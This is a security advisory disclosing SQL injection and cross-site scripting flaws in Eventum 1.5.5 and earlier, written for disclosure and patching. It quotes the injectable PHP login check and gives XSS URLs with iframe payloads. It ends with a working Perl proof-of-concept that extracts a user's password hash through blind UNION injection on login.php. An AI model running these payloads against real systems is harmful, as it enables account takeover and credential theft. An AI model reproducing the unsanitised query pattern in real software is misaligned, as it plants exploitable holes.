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MySQL AB Eventum Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://dev.mysql.com/downloads/other/eventum/> Eventum is "a
user-friendly and flexible issue tracking system that can be used by a
support department to track incoming technical support requests, or by a
software development team to quickly organize tasks and bugs. Eventum is
used by the MySQL AB Technical Support team".
Eventum is vulnerable to some highly exploitable SQL Injection issues as
well as cross site scripting issues.
DETAILS
Vulnerable Systems:
* MySQL AB Eventum versions 1.5.5 and prior
Immune Systems:
* MySQL AB Eventum version 1.6.0 (download
<http://lists.mysql.com/eventum-users/2072> here)
Cross Site Scripting:
There are a number of cross site scripting issues in MySQL Eventum. You
can find several examples of these issues below.
http://eventum/view.php?id=1'%22%3E%3Ciframe%3E
http://eventum/list.php?keywords=&users=
&category=&release=%22%3E%3Ciframe%3E
http://eventum/get_jsrs_data.php?F=wee%22%3E%3Ciframe%3E
A malicious user can exploit these vulnerabilities to steal sensitive user
based information, or render hostile script in the context of the victim's
web browser.
SQL Injection:
MySQL Eventum is a very well written program, and does a good job to
protect against harmful input. However, there are a few some what blind
SQL Injection issues in Eventum, and these issues are very exploitable.
First, let's have a look at /includes/class.auth.php:
/**
* Checks whether the provided password match against the email
* address provided.
*
* @access public
* @param string $email The email address to check for
* @param string $password The password of the user to check for
* @return boolean
*/
function isCorrectPassword($email, $password)
{
$stmt = "SELECT usr_password FROM " . APP_DEFAULT_DB . "." .
APP_TABLE_PREFIX . " user WHERE usr_email='$email'";
$passwd = $GLOBALS["db_api"]->dbh->getOne($stmt);
if (PEAR::isError($passwd)) {
Error_Handler::logError(array($passwd->getMessage(),
$passwd->getDebugInfo()), __FILE__, __LINE__);
return false;
} else {
if ($passwd != md5($password)) {
return false;
} else {
return true;
}
}
}
MySQL Eventum usually sanitizes within functions, so as expected the
$email variable is never sanitized before being passed to this vulnerable
function. Also, if the target host is using a database that supports UNION
functionality then we can overwrite the expected returned password, and
bypass the password check! The above issue is very dangerous, but there
is a nearly identical function used alongside the isCorrectPassword
function named userExists() and it is vulnerable in an almost identical
manner. In addition to the "pre-auth" SQL Injection vulns are a few other
SQL Injection vulnerabilities.
/reports/custom_fields.php -> /includes/class.report.php ->
getCustomFieldReport()
/reports/custom_fields_graph.php -> /includes/class.report.php ->
getCustomFieldReport()
/manage/releases.php -> /includes/class.release.php->insert()
The above is a rough outline of the other vulnerable functions that have
been patched in the recent 1.6.0 release. Users should upgrade
immediately.
Patch Availability:
A new version of Eventum has been released and users are strongly advised
to <http://lists.mysql.com/eventum-users/2072> upgrade their Eventum
installations. Special thanks to Joao Prado Maia from the MySQL Devel team
for a very quick resolution of these issues.
Proof of concept:
#!/usr/bin/perl -w
use IO::Socket;
use strict;
print "#############################################\n";
print "# MySQL Eventum <= v1.5.5 SQL Injection PoC #\n";
print "# James Bercegay // gulftech.org // 7-28-05 #\n";
print "#############################################\n";
my $host = 'localhost';
my $path = '/eventum/login.php';
my $user = '2';
my $port = 80;
my $pass = '';
my @char =
('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
print "[*] Trying $host\n";
OUTER: for ( my $i = 1; $i < 33; $i++ )
{
INNER: for ( my $j=0; $j < 16; $j++ )
{
my $used = $char[$j];
my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort =>
$port, Proto => 'tcp' )
|| die "[!] Unable to connect to $host\n";
my $post = "cat=login&url=&email=%27+UNION+SELECT+
%273355d92c04a3332339b767f9278405ff%27+FROM+
eventum_user+WHERE+usr_id=$user+AND+MID(usr_password,$i,1)=
'$used'%2F*&passwd=dance&Submit=Login";
my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.10)
Gecko/20050716 Firefox/1.0.6\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n";
$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";
print $sock $send;
while ( my $line = <$sock> )
{
if ( $line =~ /(.*)err=7(.*)/is )
{
$pass .= $used;
print "[+] Char $i is $used\n";
last INNER;
} #/if
}
#/while
close($sock);
}
#/for INNER
if ( length($pass) < 1 )
{
print "[!] Host not vulnerable!";
exit;
}
}
#/for OUTER
print "[+] Pass hash is $pass\n";
exit;
ADDITIONAL INFORMATION
The information has been provided by James Bercegay.
The original article can be found at:
<http://www.gulftech.org/?node=research&article_id=00093-07312005>
http://www.gulftech.org/?node=research&article_id=00093-07312005
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